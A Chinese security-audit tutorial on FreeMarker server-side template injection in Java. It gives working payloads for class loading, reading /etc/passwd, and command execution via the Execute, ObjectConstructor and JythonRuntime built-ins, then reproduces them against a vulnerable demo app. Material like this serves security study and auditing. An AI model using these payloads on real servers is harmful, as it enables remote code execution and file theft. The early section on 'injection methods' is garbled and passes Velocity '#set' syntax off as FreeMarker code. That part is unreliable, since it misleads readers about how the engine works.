Java审计之Freemarker模板注入漏洞

简介: Java审计之Freemarker模板注入漏洞

Freemarker 是一种模板引擎,它允许开发人员将模板文本注入到动态数据中,从而生成动态页面和其他文档。Freemarker 支持多种语法和功能,包括条件语句、循环语句、函数、表达式等等。开发人员可以使用这些语法和功能来构建模板,并动态注入数据。

Freemarker 模板引擎使用了一种称为“模板文本”的格式,这种格式可以包含变量、函数和其他语法。开发人员可以将模板文本注入到动态数据中,并使用 Freemarker 的语法和功能来生成动态页面和其他交互式 Web 应用程序。

模板编写为FreeMarker Template Language (FTL)。它是简单的,专用的语言, 不是 像PHP那样成熟的编程语言。那就意味着要准备数据在真实编程语言中来显示,比如数据库查询和业务运算, 之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。

模板注入方式

Freemarker 模板引擎支持多种注入方式,包括:

1.直接注入:直接注入模板文本中的变量和数据,以生成动态页面和其他交互式 Web 应用程序。这是最常见的注入方式,也是最简单的注入方式。

2.模板引用注入:使用模板引用来注入模板文本中的变量和数据,以生成动态页面和其他交互式 Web 应用程序。这种方式可以在模板中使用变量和数据,而不必将它们直接注入到模板中。

3.数据绑定注入:使用数据绑定技术,将数据与模板中的变量进行绑定,以生成动态页面和其他交互式 Web 应用程序。这种方式可以将数据与模板中的变量进行绑定,以便在模板中使用这些数据。

模板注入实现

在 Freemarker 中,模板注入可以通过两种方式实现:直接注入和模板引用注入。

直接注入:

直接注入是将模板文本中的变量和数据直接注入到模板中,以生成动态页面和其他交互式 Web 应用程序。在 Freemarker 中,可以使用“#”符号来注入变量和数据。例如,下面的代码将模板文本中的“$name”变量注入到模板中:

Copy code        
#set ($name = "John")

模板引用注入:

模板引用注入是将模板文本中的变量和数据通过模板引用注入到模板中,以生成动态页面和其他交互式 Web 应用程序。在 Freemarker 中,可以使用“#”符号和“!”符号来注入变量和数据。例如,下面的代码将模板文本中的“$name”变量注入到模板中,同时使用模板引用来注入数据:

Copy code        
#set ($name = "John")              #set ($greeting = "Hello, $name!")

FTL 解析

这是官方的一个图片

意思是创建一个模板文件,ftl 里面写了一个变量

然后java 后端 使用setName方法给变量赋值,Freemarker渲染,输出变量内容

         


乍一看,很像html语法,但还是有些区别

文本:文本会照着原样来输出。
插值:这部分的输出会被计算的值来替换。插值由 ${ and } 所分隔(或者 #{ and },这种风格已经不建议再使用了)。
FTL 标签:FTL标签和HTML标签很相似,但是它们却是给FreeMarker的指示, 而且不会打印在输出内容中。
注释:注释和HTML的注释也很相似,但它们是由 <#-- 和 -->来分隔的。注释会被FreeMarker直接忽略, 更不会在输出内容中显示。

上面的插值,可理解为变量

<html>
<head>
  <title>Welcome!</title>
</head>
<body>
  <h1>Welcome ${user}!</h1>
  <p>Our latest product:
  <a href="${latestProduct.url}">${latestProduct.name}</a>!
</body>
</html>

插值

FreeMarker的插值有如下两种类型                  
1、通用插值:${expr}                  
2、数字格式化插值:#{expr}或者#{expr;format}

通用插值,有可以分为四种情况                  
a、插值结果为字符串值:直接输出表达式结果                  
b、插值结果为数字值:根据默认格式(#setting 指令设置)将表达式结果转换成文本输出。可以使用内建的
字符串函数格式单个插值,例如                  

<#setting number_format = "currency" />                  
<#assign price = 42 />                  
${price}                  
${price?string}                  
${price?string.number}                  
${price?string.currency}                  
${price?string.percent}

内置函数

Freemarker 有很多内置函数,具体可参考官网说明:http://freemarker.foofun.cn/ref_builtins.html

这里讲两个和漏洞有关系的函数,api 和 new。

api内置函数

api内建函数并不能随意使用,必须在配置项api_builtin_enabled为true时才有效,而该配置在2.3.22版本之后默认为false

如果value本身支持这个额外的特性, value?api 提供访问 value 的API (通常是 Java API),比如 value?api.someJavaMethod()

常见的两种利用方式:

1、通过内建函数api获取类的classloader然后加载恶意类

2、通过Class.getResource的返回值来访问URI对象。URI对象包含toURL和create方法,通过这两个方法创建任意URI,然后用toURL访问任意URL。

加载恶意类的 Payload 如下:

<#assign classLoader=object?api.class.getClassLoader()>${classLoader.loadClass("Evil.class")}

任意文件读取的 Payload 如下:

<#assign uri=object?api.class.getResource("/").toURI()>
  <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
  <#assign is=input?api.getInputStream()>
  FILE:[<#list 0..999999999 as _>
      <#assign byte=is.read()>
      <#if byte == -1>
          <#break>
      </#if>
  ${byte}, </#list>]

new内置函数

new 函数可以创建一个继承自 freemarker.template.TemplateModel 类的变量,利用这一点能达到执行任意代码的目的。

方法一:

freemarker.template.utility 里有个 Execute 类,有一个exec方法,然后会调用 Runtime.getRuntime().exec()函数执行它的 aExecute 变量参数值,因此这里可以使用 new 函数传输想要执行的命令作为 aExecute 参数值,从而执行命令。

freemarker.template.utility.Execute 部分文件代码如下:

构造 payload 如下:

<#assign value="freemarker.template.utility.Execute"?new()>${value("open -a Calculator")}

方法二:

freemarker.template.utility 里有个 ObjectConstructor 类,这个类会把它的参数作为名称构造一个实例化对象。

因此也可以利用这一点构造一个可执行命令的对象,从而 RCE

构造 payload 如下:

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","open","-a","Calculator").start()}

方法三:

freemarker.template.utility 里有个 JythonRuntime 类,这里可以通过自定义标签的方式执行 Python 命令,从而构造远程命令执行。

Payload:

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("open -a Calculator")

漏洞复现

https://github.com/pawelkaliniakit/springboot-freemarker-ssti

 访问hello

             

   

访问template接口

Payload1:

{"hello.ftl":"<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\"><#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"open -a calculator\")}</head><body></body></html>"}

然后重新访问hello接口,触发命令。

Payload2:

    {"hello.ftl":"<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\"><#assign value=\"freemarker.template.utility.ObjectConstructor\"?new()>${value(\"java.lang.ProcessBuilder\",\"open\",\"-a\",\"Calculator\").start()}</head><body></body></html>"}

                   

    payload3:

      {"hello.ftl":"<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\"><#assign value=\"freemarker.template.utility.JythonRuntime\"?new()><@value>import os;os.system(\"open -a calculator\")</@value></head><body></body></html>"}

                     

      报错,添加jython依赖,报错内容更多,难不成版本问题

                     

      于是更改 jython 为 jython-standalone

      <dependency>
        <groupId>org.python</groupId>
        <artifactId>jython-standalone</artifactId>
        <version>2.7.0</version>
      </dependency>

      成功执行

      相关文章
      |
      5天前
      |
      SQL 安全 Java
      JAVA代码审计SAST工具使用与漏洞特征
      JAVA代码审计SAST工具使用与漏洞特征
      18 1
      |
      5天前
      |
      安全 Java Android开发
      JavaWeb解压缩漏洞之ZipSlip与Zip炸弹
      JavaWeb解压缩漏洞之ZipSlip与Zip炸弹
      22 2
      |
      2月前
      |
      安全 Java 应用服务中间件
      网络安全的护城河:漏洞防御与加密技术深入浅出Java并发编程
      【8月更文挑战第31天】在数字世界的棋盘上,每一次点击都可能是一步棋。网络安全的战场无声却激烈,漏洞如同裂缝中的风,悄无声息地侵袭着数据的堡垒。本文将揭示网络漏洞的隐蔽角落,探讨如何通过加密技术筑起防线,同时提升个人和组织的安全意识,共同守护我们的数字家园。
      |
      2月前
      |
      小程序 Java
      【aspose-words】Aspose.Words for Java模板语法详细剖析
      本文通过详细分析Aspose.Words for Java模板语法,介绍了使用条件块、变量和动态合并表格单元格三个常用模板标签,并结合实际案例进行演示。通过这三个标签的实操,帮助读者更好地掌握Aspose.Words的使用技巧。此外,还提供了官方文档链接以便进一步学习。
      92 0
      【aspose-words】Aspose.Words for Java模板语法详细剖析
      |
      2月前
      |
      Java
      Java系列之 IDEA 为类 和 方法设置注解模板
      这篇文章介绍了如何在IntelliJ IDEA中为类和方法设置注解模板,包括类模板的创建和应用,以及两种不同的方法注解模板的创建过程和实际效果展示,旨在提高代码的可读性和维护性。
      |
      2月前
      |
      XML Java 数据格式
      基于Java+freemarker实现动态赋值以及生成Word文档
      使用Java和Freemarker技术实现动态数据填充到Word文档模板并生成新的Word文档。
      117 0
      基于Java+freemarker实现动态赋值以及生成Word文档
      |
      1月前
      |
      Java Apache Maven
      Java中使用poi+poi-tl实现根据模板导出word文档
      这个过程不仅简化了文档生成的工作,而且保证了生成文档的一致性与准确性,特别适合于那些需要生成大量文档的自动化场景。通过以上步骤,Java开发人员可以实现高效、可靠的Word文档导出功能。
      299 0
      |
      2月前
      |
      JavaScript Java Python
      【Azure 应用服务】在Azure App Service for Windows 中部署Java/NodeJS/Python项目时,web.config的配置模板内容
      【Azure 应用服务】在Azure App Service for Windows 中部署Java/NodeJS/Python项目时,web.config的配置模板内容
      |
      3月前
      |
      存储 Java 应用服务中间件
      Java中套路和实现问题之基于组合/模板的套路常见框架中的应用有什么
      Java中套路和实现问题之基于组合/模板的套路常见框架中的应用有什么
      |
      3月前
      |
      SQL 安全 JavaScript
      Java中的代码审计与漏洞检测
      Java中的代码审计与漏洞检测
      下一篇
      无影云桌面